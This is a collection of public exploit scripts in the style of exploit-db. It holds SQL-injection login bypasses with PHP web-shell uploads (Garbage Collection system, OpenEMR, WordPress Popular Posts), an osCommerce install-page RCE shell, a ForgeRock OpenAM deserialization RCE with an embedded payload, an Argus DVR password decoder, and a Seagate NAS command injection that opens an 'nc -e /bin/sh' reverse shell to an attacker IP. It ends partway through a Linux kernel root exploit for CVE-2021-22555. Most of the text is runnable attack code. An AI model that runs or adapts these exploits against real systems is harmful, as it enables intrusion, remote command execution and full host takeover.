# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14854/garbage-collection-management-system-php.html
# POC: https://www.exploit-db.com/exploits/50085
# Tested On: Ubuntu 21.04 + Apache/2.4.46 (Ubuntu)
# Version: 1.0

#======================================================

#imports
from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
import random
import os
import argparse

#generate random string 8 chars
def randomGen(size=8, chars=string.ascii_lowercase):
	return ''.join(random.choice(chars) for _ in range(size))



#generating a random username and a random web shell file
user=randomGen()
shellFile=randomGen()+".php"

#creating a payload for the login
payload = {
"username":"a",
"password":"a' OR 1=1 AND ucat='admin' #"
}


proxies = {"http":"http://127.0.0.1:8080"}

session=requests.Session()

#changeme
urlBase="http://172.27.1.71/Gabage/"

url=urlBase+"login.php"
print("=== executing SQL Injection ===")
req=session.post(url,payload,allow_redirects=False)

cookie=req.headers["Set-Cookie"]
print("=== authenticated admin cookie:" + cookie + " ===")

url=urlBase+"apatient/users.php?user=rayat"

mp_encoder = MultipartEncoder(
fields = {
"fullname":user,
"ucat":"admin",
"contact":"0000000000",
"address":"aaa ave",
"username":user,
"acstatus":"active",
"date":"2021-07-05",
"password":user,
"image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
"submit":""
}
)


headers = {
"Cookie":cookie,
'Content-Type': mp_encoder.content_type
}

print("=== creating user " + user + " and uploading shell " + shellFile +" ===")
req=session.post(url,data=mp_encoder,allow_redirects=False,headers=headers) #,proxies=proxies)

#curl the shell for test
requestUrl = "curl " + urlBase + "apatient/contract/"+shellFile+"?cmd=whoami"
print("=== issuing a whoami: " + requestUrl + " ===")

print("===CURL OUTPUT===")
os.system(requestUrl)
            
# Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Date: 2021-07-05
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
# Version: < 5.0.1.4 (it means up to 5.0.1.3)
# Tested on: OpenEMR Version 5.0.0.8
# References: https://www.exploit-db.com/exploits/49998
# CVE: CVE-2018-15139
# CWE: CWE-434
# Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485

#!/usr/bin/env ruby

require 'pathname'
require 'httpx'
require 'http/form_data'
require 'docopt'

doc = <<~DOCOPT
  OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution

  Source: https://github.com/sec-it/exploit-CVE-2019-14530

  Usage:
    #{__FILE__} exploit <url> <filename> <username> <password> [--debug]
    #{__FILE__} -h | --help

  Options:
    <url>       Root URL (base path) including HTTP scheme, port and root folder
    <filename>  Filename of the shell to be uploaded
    <username>  Username of the admin
    <password>  Password of the admin
    --debug     Display arguments
    -h, --help  Show this screen

  Examples:
    #{__FILE__} exploit http://example.org/openemr shell.php admin pass
    #{__FILE__} exploit https://example.org:5000/ shell.php admin pass
DOCOPT

def login(root_url, user, pass, http)
  vuln_url = "#{root_url}/interface/main/main_screen.php?auth=login&site=default"
  params = {
    'new_login_session_management' => '1',
    'authProvider' => 'Default',
    'authUser' => user,
    'clearPass' => pass,
    'languageChoice' => '1'
  }

  http.post(vuln_url, form: params).body.to_s
end

def upload(root_url, filepath, http)
  vuln_url = "#{root_url}/interface/super/manage_site_files.php"
  pn = Pathname.new(filepath)

  params = {
    form_image: {
      content_type: 'application/x-php',
      filename: pn.basename.to_s,
      body: pn
    },
    bn_save: 'Save'
  }

  res = http.post(vuln_url, form: params)

  return '[-] File not upload' unless (200..299).include?(res.status)

  "[+] File uploaded:\n#{root_url}/sites/default/images/#{pn.basename}"
end

begin
  args = Docopt.docopt(doc)
  pp args if args['--debug']

  if args['exploit']
    http = HTTPX.plugin(:cookies).plugin(:follow_redirects).plugin(:multipart)
    login(args['<url>'], args['<username>'], args['<password>'], http)
    puts upload(args['<url>'], args['<filename>'], http)
  end
rescue Docopt::Exit => e
  puts e.message
end
            
# Exploit Title: WordPress Plugin Current Book 1.0.1 - 'Book Title and Author field' Stored Cross-Site Scripting (XSS)
# Date: 14/07/2021
# Exploit Author: Vikas Srivastava
# Vendor Homepage:
# Software Link: https://wordpress.org/plugins/current-book/
# Version: 1.0.1
# Category: Web Application

How to Reproduce this Vulnerability:

1. Install WordPress 5.7.2
2. Install and activate Custom Book
3. Navigate to Tools >> Current Book and enter the XSS payload into the Book and Author input field.
4. Click Update Options
5. You will observe that the payload successfully got stored into the database and when you are triggering the same functionality at that time JavaScript payload is executing successfully and we are getting a pop-up.
            
# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15/07/2021
# Exploit Author: Simone Cristofaro
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
# Version: 5.3.2 or below
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
# CVE: CVE-2021-42362
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
# enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.

# This script will login with the provided credentials, create a new post and add a custom field with the link to a
# web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
# provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
# set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)

'''
Banner:
'''
banner = """
* Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)                                                        
* @Heisenberg
"""
print(banner)

'''
Import required modules:
'''
import requests
import argparse
import json
import re
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")
my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")
my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
args = my_parser.parse_args()
target_ip = args.target_ip
target_port = args.target_port
wp_path = args.wp_path
username = args.username
password = args.password

''' 
# Hard coded parameters (if you don't like command line execution) 
target_ip = "localhost"
target_port = "80"
wp_path = "/wordpress/"
username = "heisenberg"
password = "heisenberg"
'''

shell_name = 'exploit.gif.php'
payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'

print('')
print('[*] Starting Exploit:')

'''
Upload file
'''
file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})
resp = json.loads(file_json.text)
if resp['status']:
    urlshort = resp['data']['file']['url']['full']
else:
     print(f'[-] Error:'+ resp['error']['message'])
     exit()

file_uploaded_site = requests.get(urlshort).text
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name

print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')

'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Monies Browser 1.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}

# Authenticate:
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
    print(f'[+] Authentication successfull as user [{username}] !')
else:
    print('[-] Authentication failed ! Check username and password')
    exit()

'''
Verify that the requirements are installed
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
settings_page = session.get(settings_page_url).text
search_string = ' gd'
if settings_page.find(search_string) == -1 :
    print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
    exit()

'''
Get the wpp-admin-token
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'

settings_page = session.get(settings_page_url).text
search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
search_string_end = '" />'
settings_page = settings_page[settings_page.find(search_string):]
wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]
if wpp_admin_token:
    print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')
else:
    print('[-] Error while gathering wpp-admin-token !')
    exit()

'''
Apply changes to the Popular Posts plugin
'''
body = {
    'upload_thumb_src': '',
    'thumb_source': 'custom_field',
    'thumb_lazy_load': 1,
    'thumb_field': 'wpp_thumbnail',
    'thumb_field_resize': 1,
    'section': 'thumb',
    'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
    print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
else:
    print('[-] Error while applying settings o the Popular Posts plugin!')
    exit()

'''
Empty image cache
'''
body = {
    'action': 'wpp_clear_thumbnail',
    'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
print(f'[+] Images cache cleared. ')


'''
Get the new post ID and Nonce
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'

new_post_page = session.get(new_post_url).text
search_string = 'name="_ajax_nonce-add-meta" value="'
search_string_end = '" />'
new_post_page = new_post_page[new_post_page.find(search_string)+35:]
ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]

search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
search_string_end = '" );'
new_post_page = new_post_page[new_post_page.find(search_string)+66:]
wp_nonce = new_post_page[:new_post_page.find(search_string_end)]

search_string = '},"post":{"id":'
search_string_end = ','
new_post_page = new_post_page[new_post_page.find(search_string)+15:]
post_ID = new_post_page[:new_post_page.find(search_string_end)]

if post_ID and wp_nonce and ajax_nonce:
    print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')
else:
    if not post_ID: print('[-] Error while gathering post_ID !')
    elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !')
    elif not ajax_nonce :  print('[-] Error while gathering Wordpress AJAX Nonce !')
    exit()

'''
Publish a new post
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'

data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}
header['X-WP-Nonce'] = wp_nonce
header['Content-Type'] = 'application/json'
header['X-HTTP-Method-Override'] = 'PUT'
new_post_page = session.post(new_post_url, headers=header, json=data).text
if new_post_page.find('"status":"publish"'):
    print(f'[+] New post named [I\'m the one who knocks] published correctly!')
else:
    print('[-] Error while publishing the new post !')
    exit()

'''
Add the Custom Filed
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

header.pop('X-WP-Nonce')
header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
header.pop('X-HTTP-Method-Override')
header['Accept']='*/*'
header['X-Requested-With'] = 'XMLHttpRequest'
body = {
    '_ajax_nonce': 0,
    'action': 'add-meta',
    'metakeyselect': 'wpp_thumbnail',
    'metakeyinput': "",
    'metavalue' : PHP_URL,
    '_ajax_nonce-add-meta': ajax_nonce,
    'post_id' : post_ID
}
new_post_page = session.post(new_post_url, headers=header, data=body).text

if new_post_page.find("<tr id='meta-") > 0:
    print(f'[+] Added a new Custom Field with the uploaded web shell.')
else:
    print('[-] Error while adding the custom field !')
    print(new_post_page)
    exit()

'''
Give it some views to pop it up in the recent posts
'''
print(f'[+] Giving the new post some views (10) [ ', end="")

new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID
redirect_url = session.get(new_post_url).url

new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'
data = {
    '_wpnonce': wp_nonce,
    'wpp_id': post_ID,
    'sampling': 0,
    'sampling_rate': 100
}


for progress in range(10):
    session.get(redirect_url)
    res = session.post(new_post_plugin_url, headers=header, data=data)
    print ('=', end='')

print(' ] '+json.loads(res.text)['results'])

print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)
print('')
            
# Exploit Title: osCommerce 2.3.4.1 - Remote Code Execution (2)
# Vulnerability: Remote Command Execution when /install directory wasn't removed by the admin
# Exploit: Exploiting the install.php finish process by injecting php payload into the db_database parameter & read the system command output from configure.php
# Notes: The RCE doesn't need to be authenticated
# Date: 26/06/2021
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.oscommerce.com/
# Version: osCommerce 2.3.4
# Tested on: Windows

import requests
import sys

if(len(sys.argv) != 2):
	print("please specify the osCommerce url")
	print("format: python3 osCommerce2_3_4RCE.py <url>")
	print("eg: python3 osCommerce2_3_4RCE.py http://localhost/oscommerce-2.3.4/catalog")
	sys.exit(0)

baseUrl = sys.argv[1]
testVulnUrl = baseUrl + '/install/install.php'

def rce(command):
	#targeting the finish step which is step 4
	targetUrl = baseUrl + '/install/install.php?step=4'

	payload = "');"
	payload += "passthru('" + command + "');"    # injecting system command here
	payload += "/*"

	#injecting parameter
	data = {
		'DIR_FS_DOCUMENT_ROOT': './',
		'DB_DATABASE' : payload
	}	

	response = requests.post(targetUrl, data=data)

	if(response.status_code == 200):
		#print('[*] Successfully injected payload to config file')

		readCMDUrl = baseUrl + '/install/includes/configure.php'
		cmd = requests.get(readCMDUrl)

		commandRsl = cmd.text.split('\n')

		if(cmd.status_code == 200):
			#print('[*] System Command Execution Completed')
			#removing the error message above
			for i in range(2, len(commandRsl)):
				print(commandRsl[i])
		else:
			return '[!] Configure.php not found'

				
	else:
		return '[!] Fail to inject payload'



#testing vulnerability accessing the directory
test = requests.get(testVulnUrl)

#checking the install directory still exist or able to access or not
if(test.status_code == 200):
	print('[*] Install directory still available, the host likely vulnerable to the exploit.')
	
	#testing system command injection
	print('[*] Testing injecting system command to test vulnerability')
	cmd = 'whoami'

	print('User: ', end='')
	err = rce(cmd)

	if(err != None):
		print(err)
		sys.exit(0)

	while(True):
		cmd = input('RCE_SHELL$ ')
		err = rce(cmd)

		if(err != None):
			print(err)
			sys.exit(0)

else:
	print('[!] Install directory not found, the host is not vulnerable')
	sys.exit(0)
            
# Exploit Title: ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 2021-07-14
# Exploit Author: Photubias – tijl[dot]deneut[at]Howest[dot]be for www.ic4.be
# Vendor Advisory: [1] https://backstage.forgerock.com/knowledge/kb/article/a47894244
# Vendor Homepage: https://github.com/OpenIdentityPlatform/OpenAM/
# Version: [1] OpenAM 14.6.3
#          [2] Forgerock 6.0.0.x and all versions of 6.5, up to and including 6.5.3, and is fixed as of version AM 7 released on June 29, 2021
# Tested on: OpenAM 14.6.3 and Tomcat/8.5.68 with JDK-8u292 on Debian 10
# CVE: CVE-2021-35464

#!/usr/bin/env python3

'''  
	Copyright 2021 Photubias(c)

        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        File name CVE-2021-35464.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        Rewritten from and full credits to @Y4er_ChaBug:
        https://github.com/Y4er/openam-CVE-2021-35464
        and of course the discoverer @artsploit:
        https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
        Created using https://github.com/frohoff/ysoserial
'''

import urllib.request, urllib.parse, ssl, sys, optparse

## Static vars; change at will, but recommend leaving as is
sURL = 'http://192.168.0.100:7080/openam'
sEndpoint = 'ccversion/Version'
sEndpoint = 'oauth2/..;/ccversion/Version' ## This bypasses potential WAFs
iTimeout = 5
strSerializedPayload = b'AKztAAVzcgAXamF2YS51dGlsLlByaW9yaXR5UXV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PTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAA0ZvbwEADElubmVyQ2xhc3NlcwEAJUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbzsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHABoBACN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJEZvbwEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAAMwABAAEAAAAFKrcAAbEAAAACAA0AAAAKAAIAAACUAAQAlQAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHNyABRqYXZhLm1hdGguQmlnSW50ZWdlcoz8nx-pO_sdAwAGSQAIYml0Q291bnRJAAliaXRMZW5ndGhJABNmaXJzdE5vbnplcm9CeXRlTnVtSQAMbG93ZXN0U2V0Qml0SQAGc2lnbnVtWwAJbWFnbml0dWRldAACW0J4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHD_______________7____-AAAAAXVxAH4AJAAAAAEBeHg$'

## Ignore unsigned certs, if any because OpenAM is default HTTP
ssl._create_default_https_context = ssl._create_unverified_context

def checkParams(options, args):
    if args: sHost = args[0]
    else:
        sHost = input('[?] Please enter the URL ['+sURL+'] : ')
        if sHost == '': sHost = sURL
    if not sHost[-1:] == '/': sHost += '/'
    if not sHost[:4].lower() == 'http': sHost = 'http://' + sHost
    if options.command: sCMD = options.command
    else: sCMD = ''
    if options.proxy: sProxy = options.proxy
    else: sProxy = ''
    return (sHost, sCMD, sProxy)

def findEndpoint(oOpener, sHost, sProxy):
    def testEndpoint(sURL):
        oRequest = urllib.request.Request(sURL)
        if sProxy: oRequest.set_proxy(sProxy, 'http')
        try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
        except: return False
        if oResponse.code == 200:
            if 'ForgeRock' in oResponse.read().decode(errors='ignore'):
                print('[+] Found potential vulnerable endpoint: ' + sURL)
                return True
        return False
    
    if testEndpoint(sHost + sEndpoint): return sHost + sEndpoint
    elif testEndpoint(sHost + 'openam/' + sEndpoint): return sHost + 'openam/' + sEndpoint
    elif testEndpoint(sHost + 'OpenAM/' + sEndpoint): return sHost + 'OpenAM/' + sEndpoint
    elif testEndpoint(sHost + 'openam/ccversion/Version'): return sHost + 'openam/ccversion/Version'
    elif testEndpoint(sHost + 'OpenAM/ccversion/Version'): return sHost + 'OpenAM/ccversion/Version'
    else: return ''

def testVuln(oOpener, sURL, sProxy):
    oResponse = runCmd(oOpener, sURL, sProxy, 'echo CVE-2021-35464')
    ## The response is actually not well formed HTTP, needs manual formatting
    bResp = bytearray(15) ## "CVE-2021-35464\n" should be 15 bytes
    try: oResponse.readinto(bResp)
    except: pass
    #print(bResp.split(b'\x00')[0])
    if 'CVE-2021-35464' in bResp.decode(): return True
    else: return False

def runVuln(oOpener, sURL, sProxy, sCMD):
    oResponse = runCmd(oOpener, sURL, sProxy, sCMD)
    ## The response is actually not well formed HTTP, needs manual formatting
    bResp = bytearray(4096)
    try: oResponse.readinto(bResp)
    except: pass  ## The readinto still should have worked
    sResp = bResp.split(b'\x00')[0].decode()
    print(sResp)

def runCmd(oOpener, sURL, sProxy, sCMD):
    oData = b'jato.pageSession=' + strSerializedPayload
    oHeaders = {'cmd' : sCMD}
    oRequest = urllib.request.Request(url = sURL, headers = oHeaders, data = oData)
    if sProxy: oRequest.set_proxy(sProxy, 'http')
    return oOpener.open(oRequest, timeout = iTimeout)

def main():
    usage = (
        'usage: %prog [options] URL \n'
        'Example: CVE-2021-35464.py -c id http://192.168.0.100:7080/openam\n'
        'Example: CVE-2021-35464.py -c dir -p 127.0.0.1:8080 http://192.168.0.100:7080/openam\n'
        'When in doubt, just enter a single IP address'
        )

    parser = optparse.OptionParser(usage=usage)
    parser.add_option('--command', '-c', dest='command', help='Optional: The command to run remotely')
    parser.add_option('--proxy', '-p', dest='proxy', help='Optional: HTTP proxy to use, e.g. 127.0.0.1:8080')
    
    ## Get or ask for the vars
    (options, args) = parser.parse_args()
    (sHost, sCMD, sProxy) = checkParams(options, args)
    
    ## Verify reachability
    print('[!] Verifying reachability of ' + sHost)
    oOpener = urllib.request.build_opener()
    oRequest = urllib.request.Request(sHost)
    if sProxy: oRequest.set_proxy(sProxy, 'http')
    try: oResponse = oOpener.open(oRequest, timeout = iTimeout)
    except urllib.error.HTTPError: pass
    except: sys.exit('[-] Error, host ' + sHost + ' seems to be unreachable')
    print('[+] Endpoint ' + sHost + ' reachable')

    ## Find endpoint
    print('[!] Finding correct OpenAM endpoint')
    sEndpoint = findEndpoint(oOpener, sHost, sProxy)
    if sEndpoint == '': sys.exit('[-] Error finding the correct OpenAM endpoint or not vulnerable.')

    ## Verify vulnerability
    if testVuln(oOpener, sEndpoint, sProxy): print('[+] !SUCCESS! Host ' + sHost + ' is vulnerable to CVE-2021-35464')
    else: sys.exit('[-] Not vulnerable or this implementation does not work')
    if sCMD:
        print('[+] Running command "' + sCMD + '" now:\n')
        runVuln(oOpener, sEndpoint, sProxy, sCMD)
    else: print('[!] All done')

if __name__ == "__main__":
    main()
            
# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption
# Exploit Author: Salman Asad (@deathflash1411) a.k.a LeoBreaker
# Date: 12.07.2021
# Version: Argus Surveillance DVR 4.0
# Tested on: Windows 7 x86 (Build 7601) & Windows 10
# Reference: https://deathflash1411.github.io/blog/dvr4-hash-crack

# Note: Argus Surveillance DVR 4.0 configuration is present in 
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

# I'm too lazy to add special characters :P
characters = {
'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5',
'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0',
'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E',
'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J',
'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O',
'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T',
'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z',
'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e',
'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j',
'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o',
'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t',
'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z','!':'B398'}

# ASCII art is important xD
banner = '''
#########################################
#    _____ Surveillance DVR 4.0         #
#   /  _  \_______  ____  __ __  ______ #
#  /  /_\  \_  __ \/ ___\|  |  \/  ___/ #
# /    |    \  | \/ /_/  >  |  /\___ \  #
# \____|__  /__|  \___  /|____//____  > #
#         \/     /_____/            \/  #
#        Weak Password Encryption       #
############ @deathflash1411 ############
'''
print(banner)

# Change this :)
pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4"
if (len(pass_hash)%4) != 0:
	print("[!] Error, check your password hash")
	exit()
split = []
n = 4
for index in range(0, len(pass_hash), n):
	split.append(pass_hash[index : index + n])

for key in split:
	if key in characters.keys():
		print("[+] " + key + ":" + characters[key])
	else:
		print("[-] " + key + ":Unknown")
            
# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
# Date: 15.07.2021
# Discovered by: Jeroen - IT Nerdbox
# Exploit Author: Metin Yunus Kandemir
# Version: sg2000-2000.1331
# Vendor Homepage: https://www.seagate.com/
# Software Link: https://www.seagate.com/tr/tr/support/downloads/item/banas-220-firmware-master-dl/

#!/usr/bin/python3

import requests
import sys

def exec(target, ncIp, ncPort):
    print("[!] Please check netcat listener: "+ ncPort)
    url = "http://" + target + "/backupmgt/localJob.php?session=fail;nc+"+ncIp+"+"+ncPort+"+-e+/bin/sh%00"
    r = requests.get(url = url)
    sys.exit(1)

def main(args):
    if len(args) != 4:
        print("[*] usage: %s targetIp:port ncIp ncPort" % (args[0]))
        print("[*] Example:python3 exploit.py 192.168.1.13 192.168.1.22 80")
        sys.exit(1)
    exec(target=args[1], ncIp=args[2], ncPort=args[3])


if __name__ == "__main__":
    main(args=sys.argv)
            
/*
 * CVE-2021-22555: Turning \x00\x00 into 10000$
 * by Andy Nguyen (theflow@)
 *
 * theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
 * theflow@theflow:~$ ./exploit
 * [+] Linux Privilege Escalation by theflow@ - 2021
 *
 * [+] STAGE 0: Initialization
 * [*] Setting up namespace sandbox...
 * [*] Initializing sockets and message queues...
 *
 * [+] STAGE 1: Memory corruption
 * [*] Spraying primary messages...
 * [*] Spraying secondary messages...
 * [*] Creating holes in primary messages...
 * [*] Triggering out-of-bounds write...
 * [*] Searching for corrupted primary message...
 * [+] fake_idx: ffc
 * [+] real_idx: fc4
 *
 * [+] STAGE 2: SMAP bypass
 * [*] Freeing real secondary message...
 * [*] Spraying fake secondary messages...
 * [*] Leaking adjacent secondary message...
 * [+] kheap_addr: ffff91a49cb7f000
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Leaking primary message...
 * [+] kheap_addr: ffff91a49c7a0000
 *
 * [+] STAGE 3: KASLR bypass
 * [*] Freeing fake secondary messages...
 * [*] Spraying fake secondary messages...
 * [*] Freeing sk_buff data buffer...
 * [*] Spraying pipe_buffer objects...
 * [*] Leaking and freeing pipe_buffer object...
 * [+] anon_pipe_buf_ops: ffffffffa1e78380
 * [+] kbase_addr: ffffffffa0e00000
 *
 * [+] STAGE 4: Kernel code execution
 * [*] Spraying fake pipe_buffer objects...
 * [*] Releasing pipe_buffer objects...
 * [*] Checking for root...
 * [+] Root privileges gained.
 *
 * [+] STAGE 5: Post-exploitation
 * [*] Escaping container...
 * [*] Cleaning up...
 * [*] Popping root shell...
 * root@theflow:/# id
 * uid=0(root) gid=0(root) groups=0(root)
 * root@theflow:/#
 *
 * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+.
 */

// clang-format off
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <linux/netfilter_ipv4/ip_tables.h>
// clang-format on

#define PAGE_SIZE 0x1000
#define PRIMARY_SIZE 0x1000
#define SECONDARY_SIZE 0x400

#define NUM_SOCKETS 4
#define NUM_SKBUFFS 128
#define NUM_PIPEFDS 256
#define NUM_MSQIDS 4096

#define HOLE_STEP 1024

#define MTYPE_PRIMARY 0x41
#define MTYPE_SECONDARY 0x42
#define MTYPE_FAKE 0x1337

#define MSG_TAG 0xAAAAAAAA

// #define KERNEL_COS_5_4_89 1
#define KERNEL_UBUNTU_5_8_0_48 1

// clang-format off
#ifdef KERNEL_COS_5_4_89
// 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx]
#define PUSH_RAX_JMP_QWORD_PTR_RCX 0x360F8
// 0xffffffff815401df : pop rsp ; pop rbx ; ret
#define POP_RSP_POP_RBX_RET 0x5401DF

// 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret
#define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65
// 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret
